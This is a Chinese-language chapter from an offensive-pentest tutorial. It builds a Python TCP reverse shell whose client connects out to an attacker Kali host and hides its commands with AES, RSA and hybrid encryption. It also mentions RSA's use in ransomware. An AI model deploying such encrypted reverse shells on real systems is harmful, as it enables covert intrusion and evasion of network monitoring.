Python 中最著名的加密库叫做 PyCrypto。对于 Windows,它有一个编译好的二进制文件,对于 Kali 端,你只需要在下载库后运行安装文件。你可以从 www.voidspace.org.uk/python/modules.shtml#pycrypto 下载这个库。所以,作为开始,我们将使用 AES,而不使用 TCP 或 HTTP 隧道:
# Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# AES Stream
import os
from Crypto.Cipher import AES
counter = os.urandom(16) #CTR counter string value with length of 16 bytes.
key = os.urandom(32) #AES keys may be 128 bits (16 bytes), 192 bits (24 bytes) or 256 bits (32 bytes) long.
# Instantiate a crypto object called enc
enc = AES.new(key, AES.MODE_CTR, counter=lambda: counter)
encrypted = enc.encrypt("Hussam"*5)
print encrypted
# And a crypto object for decryption
dec = AES.new(key, AES.MODE_CTR, counter=lambda: counter)
decrypted = dec.decrypt(encrypted)
print decrypted
代码非常简单。我们将首先导入 os 库,并从 Crypto.Cipher 库中导入 AES 类。现在,我们使用 os 库来创建随机的 key 和随机的 counter。计数器的长度是 16 字节,我们将为密钥大小选择 32 字节,以实现 AES-256。接下来,我们通过传递 key、AES 模式(这仍然是流模式或 CTR 模式)和 counter 值来创建加密对象。现在,请注意,counter 需要作为可调用对象发送。这就是我们使用 lambda 结构或 lambda 构造的原因,它是一种匿名函数,就像一个没有绑定名字的函数。解密过程与加密过程非常相似。所以,我们创建一个解密对象,然后传递加密消息,最后它会打印出解密后的消息,应该是明文的。
所以,让我们快速测试一下这个脚本并加密我的名字。一旦我们运行脚本,加密后的版本会显示在上面,下面的是解密后的版本,即明文:
>>>
]ox:|s
Hussam
>>>
所以,为了测试消息的大小,我将调用一个空格,并将我的名字的长度乘以5。这样,我们就得到了5倍的长度。明文的大小在这里并不重要。无论明文是什么,使用流模式时,我们都不会遇到任何问题。
现在,让我们将加密功能集成到我们的 TCP 反向 Shell 中。以下是客户端脚本:
# Python For Offensive PenTest# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# AES - Client - TCP Reverse Shell
import socket
import subprocess
from Crypto.Cipher import AES
counter = "H"*16
key = "H"*32
def encrypt(message):
encrypto = AES.new(key, AES.MODE_CTR, counter=lambda: counter)
return encrypto.encrypt(message)
def decrypt(message):
decrypto = AES.new(key, AES.MODE_CTR, counter=lambda: counter)
return decrypto.decrypt(message)
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.10.100', 8080))
while True:
command = decrypt(s.recv(1024))
print ' We received: ' + command
...
我添加的是一个新的加密和解密函数,适用于双方,正如你所看到的,密钥和计数器值在两端都是硬编码的。我需要提到的一个旁注是,我们将在后面的混合加密中看到,如何从 Kali 机器生成一个随机值并安全地传输到我们的目标,但现在,暂时让我们将其硬编码在这里。
以下是服务器端脚本:
# Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# AES - Server- TCP Reverse Shell
import socket
from Crypto.Cipher import AES
counter = "H"*16
key = "H"*32
...
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("10.10.10.100", 8080))
s.listen(1)
print '[+] Listening for incoming TCP connection on port 8080'
conn, addr = s.accept()
print '[+] We got a connection from: ', addr
...
它是这样工作的。在发送任何内容之前,我们会先将想要发送的内容传递给加密函数。当我们得到 Shell 提示符时,我们的输入会首先传递给加密函数;然后它会通过 TCP 套接字发送出去。现在,如果我们跳转到目标端,它几乎是镜像的。当我们接收到加密消息时,我们会首先将其传递给解密函数,解密函数会返回明文值。同时,在向 Kali 机器发送任何内容之前,我们会先加密它,就像在 Kali 端所做的那样。
现在,在两个端进行脚本运行。保持 Wireshark 在 Kali 端后台运行。我们从ipconfig开始。在目标端,我们将能够成功地将加密消息解密为明文。
现在,为了验证我们在传输路径中得到了加密,在 Wireshark 中,如果我们右键点击特定的 IP 并选择“Follow TCP Stream”,我们将看到消息在发送到 TCP 套接字之前已经被加密。
使用 RSA 保护你的隧道
在本节中,我们将使用 RSA 非对称算法来保护我们的隧道。现在,回顾非对称加密的要求:正如我们所说,每个实体都有自己的一对密钥;当我说密钥对时,我指的是公钥和私钥。最终的密钥对分配如下:客户端将持有自己的私钥和服务器的公钥。另一方面,服务器或 Kali 机器将持有自己的私钥和目标的公钥。因此,当我们想从 Kali 端向目标发送消息或命令时,首先我们将使用目标的公钥加密该消息,然后将其以加密格式通过隧道发送。目标将接收该命令或消息,并使用其私钥解密,从而恢复明文。执行完命令后,回复将使用服务器的公钥进行加密。之后,我们将以加密格式将其发送到网络,一旦我们在 Kali 机器上接收到该消息或加密消息,我们将使用 Kali 的私钥将其解密为明文。
现在,第一步是在两端生成一个密钥对:
# Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# Generate Keys
from Crypto.PublicKey import RSA
new_key = RSA.generate(4096 ) # generate RSA key that 4096 bits long
#Export the Key in PEM format, the PEM extension contains ASCII encoding
public_key = new_key.publickey().exportKey("PEM")
private_key = new_key.exportKey("PEM")
print private_key
print public_key
所以,我们从导入RSA类开始。然后,我们创建一个新的对象来生成一个大小为4096位的密钥。现在,这是RSA支持的最大大小,但拥有一个复杂密钥所付出的代价就是其运行速度较慢。密钥越大,安全性越高,但操作会越慢。接下来,我们将密钥导出为PEM格式。PyCrypto支持其他格式,如DER,它是二进制编码。最常见的格式是PEM,它也用于网络设备,如防火墙和路由器,用于 VPN 或 HTTPS 访问目的。现在,打印出生成的密钥后,我们将其保存到private.pem和public.pem文件中。
让我们开始吧,运行之前提供的生成密钥脚本,分别在目标机器和攻击者机器上执行。在 Kali 机器上,我们会得到 RSA 私钥和公钥,密钥的开始和结束部分会被标记。我们在 Windows 机器上也会得到类似的结果。那么,现在我们要做的是,在 Kali 机器上复制每个密钥并保存到一个单独的文件中。首先从攻击者机器上的私钥开始,将私钥粘贴到记事本文件中。将此文件重命名为private.pem。现在,接下来做相同的操作,处理公钥。我们将它命名为public.pem。之后,切换到 Windows 机器,按照在 Kali 机器上做的操作进行。
现在,正如我们在 AES 加密中所做的那样,在将加密集成到我们的隧道中之前,首先让我们看看加密和解密是如何工作的:
# Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"from Crypto.PublicKey import RSA
# RSA ENC-DEC
from Crypto.PublicKey import RSA
def encrypt(message):
publickey = open("public.pem", "r")
encryptor = RSA.importKey(publickey)
global encriptedData
'''
The encrypt function, will take two arguments, the second one can be discarded
>>that's why we passed (message,0) arguments
The returned value is a tuple with two items. The first item is the
cipher text. The second item is always None.
>>that's why print encriptedData[0]
Ref: https://pythonhosted.org/pycrypto/Crypto.PublicKey.RSA._RSAobj-class.html#encrypt
'''
encriptedData=encryptor.encrypt(message,0)
print encriptedData[0]
encrypt('Hussam')
def decrypt(cipher):
privatekey = open("private.pem", "r")
decryptor = RSA.importKey(privatekey)
print decryptor.decrypt(cipher)
decrypt(encriptedData)
在这里,我们首先定义一个加密函数,我们将传入我们想加密的消息,并在下面定义一个解密函数,就像我们在 AES 加密中做的一样。现在,在获取明文消息之后,我们将打开公钥文件,这个文件会为我们加密消息,并将导入的密钥链接到encryptor对象中。现在,encryptor对象将为我们执行实际的加密操作。
RSA类中的加密函数需要两个参数。第一个是明文消息,第二个参数可以简单地忽略。因此,我们传入了一个0值。另一个需要注意的是,加密的输出以元组格式返回。第一个元素包含加密后的文本,所以我们将打印出来,进行测试时——我先从加密我的名字开始。
让我们跳转到解密过程,我们将通过导入做类似于加密过程的操作。现在,这是关键的不同点。在解密时,我们将导入privatekey并传入cipher值,然后在解密后打印出明文。
让我们尝试在 Windows 机器上运行脚本,如果你遇到一个错误消息,提示我们没有找到public.pem文件或目录,很可能是因为保存的文件格式问题。查看完整的扩展名并去掉.txt,将其改为.pem,无论是公钥还是私钥文件都需要这样修改。
在这里,我们首先要加密我的名字,我们将以明文形式将我的名字传递给加密函数。现在,一旦我们导入了公钥进行加密,就会打印出加密后的消息。然后,我们将加密后的消息传回解密函数,以便我们可以以明文格式打印出来。
现在,如果我们切换到 Kali 机器并运行稍微修改过的encrypt()函数脚本:
...
encrypt('H'*512)
...
现在,注意到我已经在代码块中加密了一个大小为512字节的消息。我想展示的重点是,RSA 作为一个块密码类型在工作,并且根据PyCrypto的实现,块大小为512字节。
现在,让我们看看如果我将消息大小增加 1 字节会发生什么。所以下面我不会将其乘以 512,而是直接乘以 513。此时会抛出一个异常,提示明文数据过大,无法处理。
所以,消息的最大大小必须是 512 字节。现在,我要做的第一件事是将 RSA 集成到我们的 TCP 隧道中,然后我会展示如何通过几行 Python 代码解决块大小问题。现在,集成过程与我们在前面部分所做的非常相似。让我们来看一下客户端脚本:
# Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# RSA - Client - TCP Reverse Shell
import socket
import subprocess
from Crypto.PublicKey import RSA
def encrypt(message):
#Remember that here we define the server's public key
publickey ='''-----BEGIN PUBLIC KEY-----
...
-----END PUBLIC KEY-----'''
encryptor = RSA.importKey(publickey)
global encriptedData
encriptedData=encryptor.encrypt(message, 0)
return encriptedData[0]
def decrypt(cipher):
#Remember that here we define our (the target's) private key
privatekey = '''-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----'''
decryptor = RSA.importKey(privatekey)
dec = decryptor.decrypt(cipher)
return dec
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.10.100', 8080))
while True:
command = decrypt(s.recv(512))
print ' We received: ' + command
...
所以,我创建了两个函数:一个用于加密,另一个用于解密。在发送任何命令之前,我们首先将其传递给加密函数,在打印任何结果之前,我们将得到的结果传递给解密函数。现在,请记住,目标端持有其私钥和服务器的公钥,而 Kali 机器持有其私钥和客户端的公钥。现在,去 Kali 机器,打开你之前保存在文本文件中的公钥。复制并粘贴公钥到变量中。所以,很显然,在将脚本导出为 EXE 格式之前,我们需要手动导入这些密钥。接下来,我们将打开刚才生成的目标端公钥。记住,这个公钥应该位于 Kali 机器上的公钥变量中。执行与之前相同的操作。
现在,是时候处理私钥了。因此,Kali 机器的私钥将位于该机器的脚本中。从文本文件中复制并粘贴私钥到服务器端和客户端的字符串中,并保存它们。现在,让我们看看集成到 TCP 隧道后的脚本是否能正常工作。启动 Wireshark,并在服务器端运行它。接着,我们跳到目标端,基本上我们得到了连接和一个 Shell 提示符。用一个不那么复杂的命令,比如 whoami 来检查连接。
现在,记住,whoami 的大小小于 512 字节;因此,我们能够成功地在 Kali 机器上加密它,并将其发送到目标端。而且,由于执行 whoami 的输出大小也小于 512 字节,我们成功收到了回复。所以,我们已经验证了加密功能在这里正常工作。现在,让我们尝试另一个命令,比如 ipconfig。
你会注意到我们已经成功接收到命令,但由于某些原因,在 Kali 机器上没有输出,这是因为在客户端或目标端执行 ipconfig 的输出超过了 512 字节,因此脚本会崩溃,因为我们超出了消息的大小限制。正如我之前所说,这可以通过验证消息长度并将其分解成多个块来解决,每个块应该小于或等于 512 字节。所以,让我们看一下最新的代码,它为我们解决了块大小的问题:
...
if len(result)>512:
for i in range(0, len(result), 512):
chunk = result[0+i:512+i]
s.send( encrypt (chunk ) )
else:
s.send( encrypt (result ) )
...
我们创建了一个if语句来检查命令执行输出的大小。例如,假设我们从 Kali 得到的命令是ipconfig。那么,我们将检查 ipconfig 的输出是否大于 512 字节。如果没有,说明没有问题:我们将把输出发送到 encrypt() 函数,然后它会直接发送到 Kali 机器。不过,如果输出大于 512 字节,我们将其拆分成多个块,每个块的最大大小为 512 字节。拆分过程将通过一个 for 循环完成,我们从 0 开始,直到命令执行输出的长度。每次循环时,我们会将 i 计数器增加 512 字节。因此,通过这样做,我们将使得每个拆分的结果保存在块变量中,第一块将包含从 0 到 512 字节的结果,第二块将包含从 500 到 1024 字节的结果,以此类推,直到达到命令输出的长度。现在,注意到每次我们得到一个块后,我们就可以立即将其发送到攻击者机器,确保在发送之前已经通过加密函数处理过。
现在,在目标端,由于我们已经知道接收到的数据的最大大小是 512 字节,而不是再去读取 1 KB 并拆分成块,我们将每次读取一个块。因此,这就是为什么我们将接收值从 1 KB 更改为 512 字节的原因。现在,在解密该块后,如果我们得到的明文消息的大小正好是 512 字节,这很可能意味着该消息已经在目标端被拆分成了块,对吧?那么,下一条消息或块与第一条相关联。这就是为什么存储的变量会保存这两条消息的原因,当我说这两条时,我指的是 store + decrypt 消息和接下来的 store + decrypt 消息。最后,我们将 print 出 result。
如果命令执行结果大于两条消息,或者换句话说,结果大于 1 KB,那么我们可能需要将第三条消息也与存储的变量关联起来。
那么,我们来验证一下代码现在是否有效。启动服务器端和客户端。首先运行之前失败的命令 ipconfig,我们会看到它的输出是一个完整的结果,即使它大于 512 字节。whoami 和目录命令也会得到类似的输出。
RSA 还被用于开发一种叫做 勒索软件 的东西。在勒索软件中,攻击者可以使用公钥加密目标文件,并要求支付费用以提供私钥,从而解密这些重要文件。
混合加密密钥
在这一点上,你应该能够编写代码并实现 RSA 非对称加密和 AES 对称加密,并将两者整合到我们的 TCP shell 中。那么现在,我们将实现一种混合方式,利用这两种算法。我们先快速回顾一下。客户端将持有自己的私钥,服务器或 Kali 机器将持有目标的公钥。一旦 TCP 连接建立,Kali 机器将生成一个随机的 AES 密钥,我们将安全地将这个密钥发送到目标端。我之所以说安全地,是因为传输将通过加密进行,或者通过使用目标的公钥加密随机的 AES 密钥。一旦目标收到该消息,它将使用目标的私钥进行解密,并将 AES 密钥还原为明文。此时,Kali 和目标机器都拥有相同的随机生成的 AES 密钥,这些密钥将用于 AES 加密。现在,此时的 AES 加密将用于加密我们将在 Kali 机器和目标之间来回传输的命令。
在每次新的连接时,Kali 和目标将重复整个过程,并且会派生出一个新的随机密钥。这就是为什么这叫做混合方法,因为我们使用非对称算法来安全地传输生成的对称密钥,最终将用来加密我们的命令。
所以,让我们跳到编码部分,这部分是对称和非对称的混合。以下是服务器端脚本:
# Python For Offensive PenTest
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# Hybrid - Server- TCP Reverse Shell
import socket
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
import string
import random
def encrypt_AES_KEY(KEY):
publickey ="""-----BEGIN PUBLIC KEY-----
...
-----END PUBLIC KEY-----"""
encryptor = RSA.importKey(publickey)
encriptedData=encryptor.encrypt(KEY, 0)
return encriptedData[0]
完成 TCP 三次握手后,我们将生成两个随机值,即key和counter。它们的值是由大写字母、小写字母、数字和特殊字符的组合组成。在进入无限循环之前——该循环将用于传输我们希望执行的命令——我们将使用目标的公钥对这些值进行加密,然后传输:
...
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("10.10.10.100", 8080))
s.listen(1)
print '[+] Listening for incoming TCP connection on port 8080'
conn, addr = s.accept()
print '[+] We got a connection from: ', addr
global key
key = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits + '^!\$%&/()=?{[]}+~#-_.:,;<>|\\') for _ in range(32))
print "Generated AES Key " + str(key)
conn.send ( encrypt_AES_KEY(key) )
global counter
counter = ''.join(random.SystemRandom().choice(string.ascii_uppercase + string.ascii_lowercase + string.digits + '^!\$%&/()=?{[]}+~#-_.:,;<>|\\') for _ in range(16))
conn.send ( encrypt_AES_KEY(counter) )
...
在目标端,并且在进入无限循环之前,我们将解密从 Kali 机器接收到的密钥和计数器;我们将使用我们的私钥进行加密。然后,我们将它们存储在一个全局变量中,这个变量将用于 AES 加密。同样,这个操作也会在进入无限循环之前完成。我们的私钥的定义在一个名为GET_AES_KEY()的函数中。所以,在此时,我们获得了密钥和counter值,正如我所说,我们将使用它们进行 AES 加密。因此,encrypt 函数和 decrypt 函数用于保护我们将在 Kali 和 Windows 机器之间来回传输的命令。现在,一旦我们进入无限循环,我们将使用 AES 的流模式来保护我们的隧道:
# Python For Offensive PenTest: A Complete Practical Course - All rights reserved
# Follow me on LinkedIn https://jo.linkedin.com/in/python2
# Download Pycrypto for Windows - pycrypto 2.6 for win32 py 2.7
# http://www.voidspace.org.uk/python/modules.shtml#pycrypto
# Download Pycrypto source
# https://pypi.python.org/pypi/pycrypto
# For Kali, after extract the tar file, invoke "python setup.py install"
# Hybrid - Client - TCP Reverse Shell
import socket
import subprocess
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
def GET_AES_KEY(KEY):
privatekey = """-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----"""
decryptor = RSA.importKey(privatekey)
AES_Key = decryptor.decrypt(KEY)
return AES_Key
...
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.10.100', 8080))
global key, counter
x = s.recv(1024)
key = GET_AES_KEY( x )
print "Generated AES Key " + str(key)
y = s.recv(1024)
counter = GET_AES_KEY( y )
while True:
command = decrypt(s.recv(1024))
print ' We received: ' + command
...
现在,让我们运行脚本,先从 Kali 端开始,然后是 Windows 端。你会注意到,一旦我们启动目标,Kali 机器上会生成一个随机的 AES 密钥,然后将其传输到目标端。
如果我们打开 Wireshark,右键点击任何一个 IP 地址并选择“Follow TCP Stream”,我们可以看到 AES 密钥在经过目标的公钥加密后成功传输。
因此,一旦我们获得密钥,所有发送的数据将会使用 AES 密钥流进行加密。所以,当我们在 Kali 机器上运行ipconfig并再次点击“Follow TCP Stream”时,ipconfig将会使用 AES 算法进行加密。
让我们尝试另一个命令,例如whoami。如果我们通过输入terminate停止此会话,然后重新建立一个新会话,你会看到根据新会话生成了一个新的随机 AES 密钥。
所以,每次目标连接到 Kali 机器时,都会生成一个新的随机密钥。
从技术角度讲,你可以在这里增强脚本,使两端在一定时间后或发送特定字节数后更换 AES 密钥,就像 VPN 隧道中的 IPSEC 所做的那样。
总结
在本章中,我们讨论了从加密算法介绍到不同类型算法的各种话题。我们还实现了 AES 和 RSA 来保护信息传输过程中的隧道。
到这里,我们已经走到了本书的结尾!希望你学到了很多可以用 Python 进行测试的技巧。






浙公网安备 33010602011771号